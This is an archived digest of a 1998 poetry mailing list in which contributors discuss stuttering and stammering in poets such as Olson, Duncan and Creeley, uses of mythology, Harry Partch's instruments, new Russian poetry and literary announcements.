this person I am putting up out of the ground into your hands.

--"at the boundary of the mighty world," _Maximus_, p. 330)

And Chris asks why we do not have O'Hara's permission. Why do we not have Olson's? to call, as creatures of earth, on Athena herself? Or Duncan's permission to return to the meadow where we hear everlasting rumors of What Is? or H.D.'s (thinking of Bowering's recent post).

It is a real problem. Mythology has been bought up by New Age commercialism, and, to a certain extent, even the environmental movement has been colored by it. I am glad to hear, Charles, that you are trying not to draw too much on the indigenous people. As much as one admires their culture, it does not have much to teach us _directly_. It was local and the

numbers involved were small. We are now five billion (and growing) on a small earth and all subject to the same market.

Is it possible to draw attention back from the representations of the gods to the attentions that worshipped them? Something of this order would seem to be task. The images of mythic beings are altogether too conveniently available (mindlessly) in video games. What are the rhythms and movement of spirit that correspond to what might once have been available through those images?

Don

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

557. Pritchett,Patrick
Re: stuttering, stammering
Fri 22 May 1998

Duncan's remark reminds me of one by Thomas Mann: " A writer is someone for whom writing is more difficult than it is for other people." Along those same lines, EL Doctorow relates in an interview how he once got embroiled in a struggle to write a note excusing his daughter from school. He was on the third draft or so when his wife snatched the pen from him and dashed off the appropriate memo.

Patrick Pritchett

From: Stephen Cope
To: [redacted]
Subject: Re: stuttering, stammering
Date: Friday, May 22, 1998 1:36PM

I seem to remember some comments of Robert Duncan's in a Talisman of a few years back (transcribed from a lecture by, I believe, Richard Blevins), where he spoke of Robert Creeley as a "profound stumbler" (paraphrase), and pursued a few thoughts along these lines. Wish I had the exact source at hand. One thing that struck me from the lecture, in any case, was something Duncan said to the

effect of "poets are those for whom language is a difficulty" (a charming reversal of the common-sense notion of the poet's "way with words").

Someone probably has the exact citations for this, but I don't think I'm too far off...

Stephen

↑ Index

558. **groberts**
Re: Alexander and Stroffolino's questions
Fri 22 May 1998

Don Byrd wrote: "Is it possible to draw attention back from the representations of the gods to the attentions that worshipped them? ... What are the rhythms and movement of spirit that correspond to what might once have been available through those images?"

The poetry and criticism of Allen Grossman, understandably not much discussed in this neck of the woods, has much to say about these issues. The connections that he makes between cosmogonic thinking, poetic representation, and the categorical manifestation of persons (not selves) are provocative, even if he does proceed under the auspices of academic humanism. Though for him, his authority is predicated on the intuited demands of an "axiomatically first non-human reality."

As for permissions, we could also solicit them, if we needed to, from the lesser authorities as well, such as Bronk or even Ceravolo.

Gary R.

↑ Index

559. **David Baratier**
ten
Fri 22 May 1998

---

1. tugboat annie
2. cap'n jazz
3. thomas jefferson slave apartments
4. halfman
5. I am at work can't think of the others or the album names. One is an EP by a band whose first album was called "gone" (not the band)

I have to agree with Joe. Saunter by Josh McKinney is another fine work of his, and the, dare I say historical, prefacing and end works to saturate the thin lines of the pieces. The Ex played here in columbus a few weeks back. I was a little

disappointed because they did not play any of their handmade instruments like when they toured us in 88 with Swiz and a few other DC bands. The second series of :that: looks real promising, with a twist on the formal essay. Be well

David Baratier

↑ Index

560. **David Baratier**
toronto
Fri 22 May 1998

If anyone knows of any exciting events in Toronto or lives there and might like to catch up, a couple of us will be coming May 30th to June3rd 1998. Thanks

Be well

David Baratier

↑ Index

561. **r. drake**
Re: stuttering, stammering
Fri 22 May 1998

had a chance to work w/ Alvin Lucier a few years back, and found that he speaks w/ pronounced stammer... deepened my appreciation fr his _I Am Sitting in a Room_

lbd

> *In a relatively new book entitled <a'sattv> that is about to appear from Chax Press, Peter Ganick employs word expansion and contraction techniques, some of which have the effect of stuttering, stammering. The effects achieved those used in musical composition. Keep your eyes peeled for this new book from Chax!*

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562. **david bromige**
stummering, stattering
Fri 22 May 1998

I missed some of the posts on this thread, so this may repeat (re-re-re-peat), but it's worth noting that I had a student with a pronounced stammer who could sing w/o stammering. He demonstrated this in class. Also, I have a writer friend who often stammers (with excitement, it seems to me, that theres so much to be said) but by rehearsing for readings, is able to deliver a stammer-free text.

Yes, what is being repeated about writers being persons with language difficulties adds up and makes sense. Surely one who writes (and writes . . .) demonstrates a need to gain control over language that doesnt plague many speakers. With time, this may turn into "a way with words." Or the way with words can be a sort of handicap (they laughed when age 4 I asked for another ham sandwich "but this time w/o any bread and butter") that drives the need and at the same time becomes a mark of the work (type, typos, "blow," to cite Olson).

David

↑ Index

563. **Alan Myouka Sondheim**
Re: stummering, stattering
Fri 22 May 1998

---

some of the writing I've done has dealt with the stuttered quality of sCvCC words, scattering, skittering, stuttering, shuddering, slobbering, and related, sputtering, spitting, splatting, shivering, and more, shattering, smattering, etc., and I've looked for unsuccessfully indo-european roots to explain the frisson generated thereby. I've got some stuff in the Internet text on it, but it would be hard to pull out -

these words connote a slippage of language/action/actant, trembling or resonance -

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564. **Mark Weiss**
Re: Alexander and Stroffolino's questions
Fri 22 May 1998

Very soon after I first met my stepson Carlos, who was then six, thew two of us were watching the tube. There was a nun in full habit, and Carlos asked me why she was dressed that way. It occured to me that I had no idea what religious education he had, if any, so I asked him if he believed in god. "Yes," he answered, in a tone as stentorian as he could manage, "Jesus Christ and the God of Thunder." There was nothing much I could add to that. I subsequently learned that god no. 1 had only come on the scene when Carlos took up friendship with a boy from a devoutly Catholic family and god no. 2 was a character in an action hero cartoon. God no. 1 is no longer with Carlos; I'm not sure about no. 2.

At 12:00 PM 5/22/98 -0700, you wrote:
>charles alexander wrote: -- the obvious thing to do is

>
>> to take things from southwestern/Sonora desert indigenous peoples, relating
>> to living well with the earth here. We may do some of that. But I also want
>> to do some non-obvious things. I already have a bunch of potential
>> selections from poetry & art (some wonderful things from Eva Hesse) -- but
>> if anyone can suggest other possibilities, I'll be forever grateful.
>
>
>
>Gravelly hill was 'the source and end (or boundary' of
>D'Town on the way that leads from the town to Smallmans
>now Dwelling house, the Lower
>Road gravelly, how the hill was, not the modern useableness
>of any thing but leaving it as an adverb as though Earth herself
>was active, she had her own characteristics, she could
>stick her head up out of the earth at a spot
>and say, to Athena I'm stuck here, all I can show
>is my head but please, do something about
>this person I am putting up out of the ground into your hands.
>
> --"at the boundary of the mighty world," _Maximus_, p. 330)
>
> And Chris asks why we do not have O'Hara's permission. Why do we not have
>Olson's? to call, as creatures of earth, on Athena herself? Or Duncan's
>permission to return to the meadow where we hear everlasting rumors of What Is?
>or H.D.'s (thinking of Bowering's recent post).
>
> It is a real problem. Mythology has been bought up by New Age
>commercialism, and, to a certain extent, even the environmental movement has
>been colored by it. I am glad to hear, Charles, that you are trying not to draw
>too much on the indigenous people. As much as one admires their culture, it
>does not have much to teach us _directly_. It was local and the numbers
>involved were small. We are now five billion (and growing) on a small earth and
>all subject to the same market.
>
> Is it possible to draw attention back from the representations of the

>gods to the attentions that worshipped them? Something of this order would seem
>to be task. The images of mythic beings are altogether too conveniently
>available (mindlessly) in video games. What are the rhythms and movement of
>spirit that correspond to what might once have been available through those
>images?
>
> Don
>
>--
>**********
> Don Byrd ([redacted], [redacted])
> Department of English
> State University of New York
> Albany, NY 12222
> [redacted] (work); [redacted] (home); [redacted] (fax)
> The Little Magazine (http://www.albany.edu/~litmag/)
>**********
>
>

↑ Index

565. **Don Byrd**

Re: stuttering, stammering

Fri 22 May 1998

Stephen Cope wrote:

> *I seem to remember some comments of Robert Duncan's in a Talisman of a few years back (transcribed from a lecture by, I believe, Richard Blevins), where he spoke of Robert Creeley as a "profound stumbler" (paraphrase), and pursued a few thoughts along these lines. Wish I had the exact source at hand. One thing that struck me from the lecture, in any case, was something Duncan said to the effect of "poets are those for whom language is a difficulty" (a charming reversal of the common-sense notion of the poet's "way with words").*

I don't have the Talisman at hand, but Duncan frequently spoke of stuttering and stammering, noting that it was common to him, Creeley, and Olson. I remember once, we discussed "the field-theory stammer," the concrete problem of always needing to say three things at once. And, of course, it is only necessary to compare the commentary in his readings with the poems to hear

the difference between the difficulty of language and the poem as a solution. He also frequently called poetry "a seizure transformed into words."

Also, I am not sure what to make of this, but stuttering is a stylistic device for certain blues singers, as a kind of essence of the blues--"I got b-b-bricks in my pillow," and also as a rhythmic mark.

Don

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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566. **joel lewis**
Re: Partch
Fri 22 May 1998

The instruments in peril at SUNY/Purchase are in the care of a fine new music ensemble called NEWBAND directed by Dean Drummond. Drummond, a percussionist who played on the Columbia Partch records (Delusion of the Fury and The World of Harry Partch --neither on CD), is attempting to rerecord Partrch's music in its entirity

I interviewed Drummond a few years back for WIRE magazine. The Partch unstrumentation was shipped from San Diego to SUNY/Purchase a few years back because the NEWBAND had borrowed the instruments for performance on a few occassions and they had made a committment to playing the Partch repetoire. Most of the instruments had to be repaired or rewired (some had been untouched since they were created) -- i do hope these instruments find a home--

There is a great New World recording of partch performing his music, especially his settings of Li Po's poetry from late 40's. Partch's journals have been publsihed, as well as his "Genesis of a Music", his major theoretical work.

Joel Lewis

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567. **morpheal**

Re: 'the self' [and psychological warfare]

Fri 22 May 1998

> *"You had to fetch me out of the*
> *happy hill of non-being. Pfah, to hug a woman*
> *And make this I. That's the evil in the world, that letter*
> *I-I...."---Robinson Jeffers*

Very strange indeed.... that someone would believe that it takes a woman to cause a realization of the "I" or some in fact actualization of "self" as if that act is an act of fuller self awareness in relation to fuller awareness of external other.

While the comforts, enjoyments, beauty, meeting of some kinds of needs and wants, is for some brought about in that way, as intimacies with an other, it certainly is far from _necessary_ and far from sufficient for the achievement of perfected discernment of self from non self, and of internal from external sources. It is not even essential for achieving the basic grounding for that discernment which is "know thy self" as to how oneself responds, what oneself believes, and so forth. Including what are one's own sensory based perceptions, and what are one's own dreams. In effect what is purely of and from one's own psyche and what is externally influenced, even if subtly.

However, we stop short of accepting that strong emotions involved in love for an other invariably cloud perception. They do not necessarily do so. What most often clouds perception is belief and particularly beliefs as to any a-priori expectations being perceptually met. Most people hear and see what they believe they are going to hear and see, whether it is there or not. It is very startling to observe how far cognitive errors (belief and assumption in particular) can colour perception and make most observers absolutely useless in the simplest situations. The enemy can slip by completely unperceived, if they are better trained and more skilful than the sentries. Skill includes any technological extensions and enhancements of human abilities.

> *"It needn't be added, except parenthetically, that self-individuation is not for oneself but for the hearer-if we never spoke to others, or took demonstrative action, there would be no need for the first person, for I always know when I am talking about myself without the advantage of the first person device as signpost. In this naive sense the use of the first person presupposes a hearer. And if SPL [systematically private speech or language] presupposes a use for the first person then it presupposes what it hopes to deny-a hearer."*

The primary difficulty, from any viewpoint, as to A.I. and sense of self, is the differentiation of self from what is non self. Thus the differentiation of internal

source and external source. This is more complicated than it seems and true artificial intelligence has that capability.

On the otherhand humans are more often at less than their fullest human potential when it comes to differentiating self from non-self and internal source from external source. In essence on this point the majority of humans lose against A.I. This makes A.I. a most formidable weapon within the arsenals of psychological warfare, though the same effects can be emulated using trained human intelligence as the source of communicative transmissions. The latter methods being somewhat cumbersome, for obvious reasons, and particularly due to the large number of targets the repetitive and necessarily patterned nature of their missions. Those cumbersome methods predate the use of psychological warfare by the Third Reich, and the use of psychological warfare by the KGB, immediately prior to and during WWII, and particularly after WWII during the Cold War. The use of artificial intelligences, albeit of a somewhat simple minded kind, begins earlier in the game than most presuppose, but it becomes impossible (I surmise) for any historian to determine the precise demarcation line when artificial intelligence finally matures to gaining the upper hand viz a viz human agencies.

The human ability to discern clearly and as nearly absolutely as is humanly possible (very near 100%) self from non-self and internal from external is a very rare aptitude and complex of skills. It involves elements of natural aptitude and acquired abilities. Whether it is more nature or nurture is debatable. I would argue that nurture (learning and facilitation to acquisition) is necessary, but not sufficient in itself to account for human variation in that particular area of discernment. Typically while learning is a pre-eminently necessary factor in acquisition, beginning at the earliest age, it is inherent nature that is the necessary catalyst. Later acquisition tends to be more systematic and exceptional, though only a small minority do really well at it. (Again, perhaps Colin Wilson's 5% of the population. Probably no more than that in any instance.)

Taking a typical theoretical psychological warfare scenario we have the enemy attempting emulation, for the purpose of influencing, self and others, by various means. Emulation means imitation, with subtle nuances of difference meant to influence beliefs (such as affiliative loyalties) and actions (such as sedition, betrayal, or treason).

The sad reality is that there are so few _individuals_ who are really to be considered immune, or even immunizable, to such effects. Most people fall dupe to the enemy's machinations even when they are overtly aware of the fact that there is a condition of attempted influence by a hostile external source. People

whoa re supposedly highly trained, in positions of leadership, often fare no better than the average, or only slightly better than the average.

As the technologies becomes widespread across the planet, sufficient for use in psychological warfare, and in fact in various covert competitive practices, those who believe that they are functionning within a secure portion of the world, unaffected by any such attempts, become the first to be duped. We saw this during the Cold War and the world is not free of such competing influences today, from various quarters, and with various aggendas.

I learned a lot more than I expected to learn about psychological warfare while writing poetry some years ago, though not only by that means. To be a writer it meant learning to keep one's own mind, absolutely one's own mind, while all around one's self were losing their's. Of course, I was also dabbling in political analysis.... so that complicates the question. However, I could not have done so without an exceptional nature and nurture prior to that learning.

Sadly some of the poetry that I wrote then was gawd aweful. Laughing. Everything else was prophetic. Seems some want to believe it goes the other way around.

Bob Ezergailis
aka Morpheal

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568. R.Gancie/C.Parcelli

autopoiesis, homeostasis & the delineation of 'self'

Fri 22 May 1998

"An organism is a unit to the extent that its conduct results in the maintenance of its basic circularity (and hence identity), and two modes of conduct are equivalent if they satisfy the same class of requirements for this maintenance. For this reason an organism, as a self-regulated homeostatic organization, does not require a constant behavior in its deterministic component elements (in this case, neurons) if their changes become specified through the generation of conduct, and sameness of conduct is defined with respect to an observer or a function that must be satisfied."---from Autopoiesis & Cognition: The Realization of the Living by Hunberto R. Maturana and Francisco J. Varela, Reidel Pub.

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569. **morpheal**

Re: Alexander and Stroffolino's questions

Fri 22 May 1998

> *Very soon after I first met my stepson Carlos, who was then six, thew two of us were watching the tube. There was a nun in full habit, and Carlos asked me why she was dressed that way. It occured to me that I had no idea what religious education he had, if any, so I asked him if he believed in god. "Yes," he answered, in a tone as stentorian as he could manage, "Jesus Christ and the God of Thunder." There was nothing much I could add to that. I subsequently learned that god no. 1 had only come on the scene when Carlos took up friendship with a boy from a devoutly Catholic family and god no. 2 was a character in an action hero cartoon. God no. 1 is no longer with Carlos; I'm not sure about no. 2.*

Interesting.....

It is my unshakeable belief that it is much easier for any hostile power to influence people to commit treason, or other acts detrimental to a nation's national and international defence interests, if those people believe strongly in one or more supernatural beings. The more devoutly they believe the more likely they are to be influenced. It is also much more common for those individuals to effect actions, or command actions, that they believe are the right actions, but which ultimately are already compromised, at either that link in the chain of command or previously, higher up.

Makes for questioning why some emulations of divinity are more interested in some areas of the political affairs of humanity than in other areas.

The question then becomes who's gods are they ?

The Greek concept of divinities was more rational. The divinities were thought to play with mortals the way we play with figures upon a chessboard in a game of chess. The divinities played against each other. They had their conflicts, their fights, with each other, and so sought to influence various mortals to make moves in the game on their behalf.

Seems they were far more intelligent than people today tend to be, who are true believers in a divinity. At least they were always aware that they were subject to being compromised.

M.

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570. **George Bowering**
Re: stuttering, stammering
Fri 22 May 1998

> *I seem to remember some comments of Robert Duncan's in a Talisman of a few years back (transcribed from a lecture by, I believe, Richard Blevins), where he spoke of Robert Creeley as a "profound stumbler" (paraphrase), and pursued a few thoughts along these lines.*

And we remember Duncan's portrayal of WCW stammering after his stroke.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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571. **toddbaron**
Re: formalists, oralists
Fri 22 May 1998

Dante--on the sonnet--a little song--and thus
its formality--must be a little sung.

As Marty N. says--a little song on the anxietyt of--death--as only sung
by the living
thus
no siren
song, but an OPERA instead.

"I remember ever mute and alive, hidden in all things." (Duncan)

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572. **charles alexander**
what we learn
Sat 23 May 1998

> It is a real problem. Mythology has been bought up by New Age
>commercialism, and, to a certain extent, even the environmental movement has
>been colored by it. I am glad to hear, Charles, that you are trying not to draw
>too much on the indigenous people. As much as one admires their culture, it

>does not have much to teach us _directly_. It was local and the numbers
>involved were small. We are now five billion (and growing) on a small
earth and
>all subject to the same market.

I don't know if I entirely agree, Don. Yes, we are five billion, and what we learn from indigenous peoples won't solve our problems. But "we" are also small groups of people building limited dwellings, small communities, in the Sonoran Desert and elsewhere. The kinds of materials indigenous peoples built with, how they used light and shade, how they saved water, the kinds of plants they grew (and here I'm using the past tense, while many groups of people are still doing these things) -- anyway, I think we can and do learn, rather directly, from these things. But I also think we use such people too easily, almost as an automatic reference, and in so doing, the possible impact is diminished.

As to your point below, to draw back to the attentions from which mythology arises -- I too thank you for saying this.

charles

>
> Is it possible to draw attention back from the representations of the
>gods to the attentions that worshipped them? Something of this order
would seem
>to be task. The images of mythic beings are altogether too conveniently
>available (mindlessly) in video games. What are the rhythms and movement
of
>spirit that correspond to what might once have been available through those
>images?

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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573. KENT JOHNSON
A stutter to the Russians
Sat 23 May 1998

One of the great "stutterers" in contemporary poetry is Dmitri Prigov. One example of his genius use of the stutter can be found in "49th Alphabet Poem," translated by Gerald Janecek and included in _Third Wave: The New Russian Poetry_. But to get the full effect, of course, one has to witness Prigov in performance (and he is surely one of the great living readers, too). About five years ago, PBS ran a documentary on the Western market-explosion for post-

Soviet art, and the film included a segment of Prigov reading one of his "Alphabet" (I believe) poems. Allen Ginsberg stood beside him, mouth open, as Prigov stuttered and spat Cyrillic syllables into the microphone, eyes rolling in as if he were in seizure. When he was done, Ginsberg leaned into the microphone and said B-B-B-Bravo!.

I've lost contact with Prigov in the past few years, and I'd be interested in finding out if anyone is currently translating his work. I know that Lyn Hejinian and Elena Balashova were doing some translations at one time. It's certainly a shame (unless I've completely missed it) that there isn't yet a book of his writing in English.

On this matter of the newer Russian poets, I was quite surprised, personally, to find that only Dragomoshchenko and Iskrenko were represented in _Poems for the Millennium_. I know anthology nit-picking is an easy sport to play, and I believe PFTM is probably the greatest anthology of the past thousand years, but here I think I have a legitimate point: Prigov, Lev Rubinshtein, Ivan Zhdanov, Alexei Parshchikov, others, are all world-class poets who developed and practiced a decidedly exploratory writing under very trying circumstances in the Brezhnev era and then came to play a vital role in one of the great cultural upheavals of the century. Moreover, many of the writers of this generation came into active contact with (were influenced by and influenced in turn) American "Language" poets.

Certainly, the Russians wrote groundbreaking, "postmodern" poems under more contentious cultural circumstances than the Americans, poets who, despite being much more widely available to readers, are given their own special section in the second volume of PFTM. For an international anthology seeking to bring forward what has been unjustly hidden and repressed, this tip of the scales really seems a bit unfair. If space was the consideration, wouldn't it have been more reasonable to have a section of, say, five "Language" poets and a section (with introductory essay) of five poets of the "post-Soviet" generation? Given the fact that these groups were in unusual and fruitful contact and, particularly, since such contact was set against the twilight of the century-shaping confrontation between their respective nations, I think it would have.

Absences in any anthology are unavoidable--and in one so sweeping and ambitious as Rothenberg's and Joris's there are going to be all kinds of omissions. But the thinness of representation of the new Russian poets is so obvious, it causes one (can't keep myself from saying it) to almost stutter--even if it's actually the very greatness of the anthology that prods one to make the critique.

Kent

↑ Index

574. **Billy Little**
Re: stuttering, stammering
Sat 23 May 1998

the first time i saw Creeley read(l964 i believe)at a class in contemporary poetry taught by Stephen Stepanchev at Queens College he really stuttered. by the time i was his student(1967) that stutter had disappeared. Duncan was crosseyed, he'd think he was looking right at you and you'd think he was looking over your right shoulder(in a classroom). Somebody told him that he could have that strabismus? corrected and he replied, what, and lose my boyish charm? as far as Olson's stammer, i think it had more to do with the speed of his thought process, he was off on another track before he'd finished speaking the last thought and my suspeicion is he was trying to say both at once.

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575. **Fredrik Hertzberg LIT**
Re: stuttering, stammering
Sat 23 May 1998

There seem to be (at least) 2 kinds of stutter that are intertwined but also in many ways radically opposed to each other, caused/ informed by 1. trying to say several things at the same time, something which may even indicate too much rather than too little confidence (Olson's declarative incorporations of heterogenous materials) 2. hesitation, doubt, difficulty with language (someone like Kurt Schwitters? Susan Howe, Creeley were mentioned - who else?)

Fred

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576. **MAYHEW**
stuttering
Sat 23 May 1998

I was reminded of Blackburn's notation of speech difficulty in "A Phone Call to Rutheford." WCW after stroke. The valuation of "semi-articulate" ness in Creeley. Berstein's questioning of a whole series of stylistic norms in writing (the essay "style" I think it is in _Content's Dream_). Some comments on Eigner somewhere in Bernstein's _Close Listening_ that I was looking at at a bookstore a few days ago.

James Earl Jones is a stutterer. I am not, yet have always been self-conscious about not being articulate, having a rather raspy voice, misspeaking, etc... and my interest in poetry from an early age is related to this.

I saw a rather dumb play once about an art critic whose dark secret is that he is colorblind! I heard an interview with a percussionist composer, a woman with severe hearing loss from birth. Also, the Oliver Sacks essay about a painter who becomes colorblind. Roman Jakobson on aphasia...

I find these paradoxes extremely suggestive, though of what I am not sure. Most of us have academic colleagues, or have had professors of literature, the equivalent of the "color-blind art critic," some of them otherwise estimable scholars. Yet the "deaf" woman's music was quite extraordinary, and other supposed "incapacities" can be extraordinarily productive.

Jxnxthxn Mxyhxw
Dxpxrtmxnt xf Spxnxsh xnd Pxrtxgxxsx
Xnxvxrsxtx xf Kxnsxs

[redacted]

↑ Index

577. charles alexander
Re: stuttering, stammering
Sat 23 May 1998

At 12:28 PM 5/23/98 +0300, you wrote:
>There seem to be (at least) 2 kinds of stutter that are intertwined but
>also in many ways radically opposed to each other, caused/ informed by
>1. trying to say several things at the same time, something which may even
>indicate too much rather than too little confidence (Olson's declarative
>incorporations of heterogenous materials)
>2. hesitation, doubt, difficulty with language (someone like Kurt
>Schwitters? Susan Howe, Creeley were mentioned - who else?)
>
>Fred

maybe, but aren't these related? I think what you call "hesitation" or "doubt" in Creeley, for example, is really a masterful registration of a complex human situation, where multiple ("several things at the same time") possibilities reside, but where existence (breathing, living, hearing) involves a careful negotiation of these possibilities, and one which takes place step by step, "by ear, he sd." I don't know if I'd quite describe that as "difficulty with language," although it may emanate from that position, and come across as such. But how it does so is

as breathtakingly successful as Olson's declarative (and Olson, too, is more various and subtle than this word proposes) incorporations.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

↑ Index

578. **Karen Kelley**
Re: stuttering, stammering
Sat 23 May 1998

> *hesitation, doubt, difficulty with language (someone like Kurt Schwitters? Susan Howe, Creeley were mentioned - who else?)*

Dora. Anna O.
And Hildegard of Bingen had migrainous aphasias.

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579. **Aviva000**
Fwd: new book (fwd)
Sat 23 May 1998

This is a multi-part message in MIME format.

--part0_895943238_boundary

In a message dated 98-05-21 12:01:46 EDT, [redacted] writes:

>
> For Psyarters interested in gender theory, postmodernism, and popular
> culture,
> I recommend a terrific new book by Lynne Layton--_Who's That Girl? Who's
> That
> Boy?: Clinical Practice Meets Postmodern Gender Theory_(Jason Aronson).
> Layton
> brings contemporary relational theory into dialogue with postmodern
theories
> of gender and identity. The book includes fascinating clinical case
material
> as well as chapters on Madonna, romance and hard-boiled detective fiction,
> the
> film _Blue Velvet_, and Judith Butler's performance theory.
>

> Barbara Schapiro
> Rhode Island College
>

--part0_895943238_boundary

air-zb04.mail.aol.com (v43.17) with SMTP; Thu, 21 May 1998 12:01:46 -0400
by rly-zb05.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id MAA17833 for <[redacted]>;
Thu, 21 May 1998 12:01:46 -0400 (EDT)
mx02.globecomm.net (8.8.8/8.8.0) with ESMTP id MAA16344 for
<[redacted]>; Thu, 21 May 1998 12:01:43 -0400 (EDT)
by lists.ufl.edu (8.8.7/8.8.7/1.2) with ESMTP id LAA25214;
Thu, 21 May 1998 11:32:36 -0400
with spool id 3356741 for [redacted]; Thu, 21 May 1998
11:32:33 -0400
lists.ufl.edu (8.8.7/8.8.7/1.2) with SMTP id LAA36960 for
<[redacted]>; Thu, 21 May 1998 11:32:33 -0400
with BSMTP id 8631; Thu, 21 May 98 11:32:17 EDT
NERVM.NERDC.UFL.EDU (LMail V1.2b/1.8b) with BSMTP id 9572; Thu, 21
May 1998 11:32:17 -0400
Approved-By: Norm Holland <[redacted]>
Date: Thu, 21 May 1998 11:31:48 EDT
<[redacted]>
<[redacted]>
From: Norm Holland <[redacted]>
Subject: new book (fwd)
To: [redacted]

Check out the IPSA home page and the new IPSA journal--
http://www.clas.ufl.edu/ipsa and www.clas.ufl.edu/ipsa/journal
Date: Thu, 21 May 1998 09:26:16 EDT
To: [redacted]
Subject: new book

For Psyarters interested in gender theory, postmodernism, and popular culture, I recommend a terrific new book by Lynne Layton--_Who's That Girl? Who's That Boy?: Clinical Practice Meets Postmodern Gender Theory_(Jason Aronson). Layton brings contemporary relational theory into dialogue with postmodern theories of gender and identity. The book includes fascinating clinical case material as well as chapters on Madonna, romance and hard-boiled detective fiction, the film _Blue Velvet_, and Judith Butler's performance theory.

Barbara Schapiro
Rhode Island College

--part0_895943238_boundary--

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580. **Aviva000**
Re: signing on
Sat 23 May 1998

In a message dated 98-05-21 12:30:34 EDT, you write:

> *By the way, the launch for Black Lightening that I forward is in NYC: rereading the post I see that's not indicated.*

This is one of those times that it hurts to live in Vermont, in spite of the emerald green hills and apple-blossom-scented breeze on this crisp May day. Is there any chance that this reading will be taped, and that the tapes will be available for purchase?

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581. **Karen Kelley**
Re: stuttering
Sat 23 May 1998

> *James Earl Jones is a stutterer. I am not, yet have always been self-conscious about not being articulate*

I wonder how the list is composed: those who are articulate vs. those who are not (spoken, not written articulation). Somewhat like the left- vs. righthandedness question. I, for one, am horribly inarticulate. And it has certainly played a part in my turning to writing.

What about everyone else?

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582. **Charles Bernstein**
Black Lightning
Sat 23 May 1998

> *Is there any chance that this reading will be taped, and that the tapes will be available for purchase?*

Check with the editor, who sends this:

From: ERTABIOS <[redacted]>

The Asian American Writers Workshop (AAWW) is pleased to announce the recent release of BLACK LIGHTNING: POETRY-IN-PROGRESS by Eileen Tabios. To order, send $19.95 (New York residents should add 8.25% sales tax), plus $3 shipping/handling cost to AAWW, 37 St. Marks Place, New York, N.Y. 10003. AAWW members can purchase the book at a 15% discount. For questions, call AAWW at [redacted] or e-mail Jeannie Wong at [redacted].

Here are just a few of the many revelations from BLACK LIGHTNING -- a book not just on POETRY but LIFE! DID YOU KNOW:

-- that John Yau's first poem was possibly one about chess with a corny rhyme between "fate" and "checkmate"?
-- that Arthur Sze can erase time?
-- that David Mura is bored by "sunset poems . . the kind that appear in THE NEW YORKER"?
-- that in his early days of seeking publication, Timothy Liu once submitted to The Quarterly, edited by Gordon Lish, every three weeks over a year-long period?
-- that when Li-Young Lee loves a work of art, he can feel it in the soles of his feet?
-- that Garrett Hongo feels trying to remember the "type of person who writes poetry is more work than the act of writing poetry"?
-- that when Kimiko Hahn doesn't discuss"sex" in a poem, that's probably what she's addressing?
-- that Jessica Hagedorn is influenced by urban Black vernacular partly because it is similar to the innovations of "Taglish" (a combination of Tagalog and English)?
-- that Sesshu Foster advises young poets: "A lot of people are looking for happiness in life, but why bother to do that in poetry? Go for revenge."
-- that Marilyn Chin muses about many of the men she's dated: "they were weird."
-- that Mei-mei Berssenbrugge loves the sentence precisely because it is "awkward and unattractive"?
-- that "Star Trek" inspired Indran Amirthanayagam's move towards a career in diplomacy in order to practice poetry as a way of life?
-- that until Meena Alexander accepted the United States as her world, her Muse's feet were decapitated at the ankles?

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583. **david bromige**
re non/articulate
Sat 23 May 1998

I am too embarrassed to speak of myself in this respect, except to say that, denied e-mail, I would be scuttling across silent sea-floors, and that, until age 22, I "spoke" by dragging my knuckles across the mast of northern forests. But no such consideration holds me back with respect to others. George Bowering is fearsomely articulate in his wellknown short bursts, although he was virtually catatonic when he first came to the leafy campus on a peninsula sometime in the 1950s. Herb Levy can talk circles around anyone, although until age 20 he only whistled and sang. Pat Pritchett, who charms birds out of their trees, grunted all the way through high school. I understand that Marjorie Perloff spent her early years in a Trappist nunnery. Robert Duncan was always a phenomenal talker as well as writer, but then, his early years were spent as somebody else.

David

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584. **Tom Orange**
stuttering, stammering
Sat 23 May 1998

On Fri, 22 May 1998 Fredrik Hertzberg LIT <[redacted]> writes:

> *I'm interested in the notion of stammering & stuttering as a formal device/ way of describing what's happening in (some) poetry....*

Gilles Deleuze has a short piece on stammering in Beckett, in one of the recent issues of the journal SubStance. Can't recall the piece too well, and it may not concern form as you have it in mind, but it may prove useful nonetheless. Let me know if you'd like the exact citation, either in English or the original French.

t.

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585. **F. W. Perrella**
Web Del Sol - North American Review
Sat 23 May 1998

This week, Web Del Sol highlights The North American Review, at http://webdelsol.com/NorthAmReview/NAR/wi98.htm

The current issue includes "Call My Name", fiction by Aimee Bender. If you click to issue 1 on the left menu, you'll find "Godhead at 12", fiction by Michael Kopacz. And in issue 2 you can sample "The Grant", fiction by Dallas Wiebe.

Let us know what you think. You can send email at the NAR Home page, or you can email Web Del Sol's editor, Michael Neff, at
[redacted] Thanks.

Anne Perrella

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586. **Tom Orange**
toronto
Sat 23 May 1998

On Fri, 22 May 1998 David Baratier <[redacted]> writes:

> *If anyone knows of any exciting events in Toronto or lives there and might like to catch up, a couple of us will be coming May 30th to June3rd 1998. Thanks*

http://www.insomniacpress.com is not a bad place to start for toronto area literary events. not comprehensive, but you can email the editor right from the page for further info.

my friend peter darbyshire runs a reading series at the cafe za che zu, and he has a date scheduled for may 29, but i don't know who he's got slated. you can email him at [redacted]

robert creeley will be reading at victor coleman's lonsdale gallery series, june 12 (rats, too late).

cheers,
t.

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587. **Barbara Langhorst**
Re: stuttering, stammering
Fri 23 May 1997

Leonard Cohen's song "The Window" from _Recent Songs_ lines up sex, death, spirit, physicality, process, writing, and creation (at the least)--in repetitions that could read as an unusual stammer--a cosmic stutter:

Then lay your rose on the fire
The fire give up to the sun
The sun give over to splendour
In the arms of the High Holy One

For the Holy One dreams of a letter
Dreams of a letter's death
Oh bless the continuous stutter
Of the word being made into flesh.

Barb

↑ Index

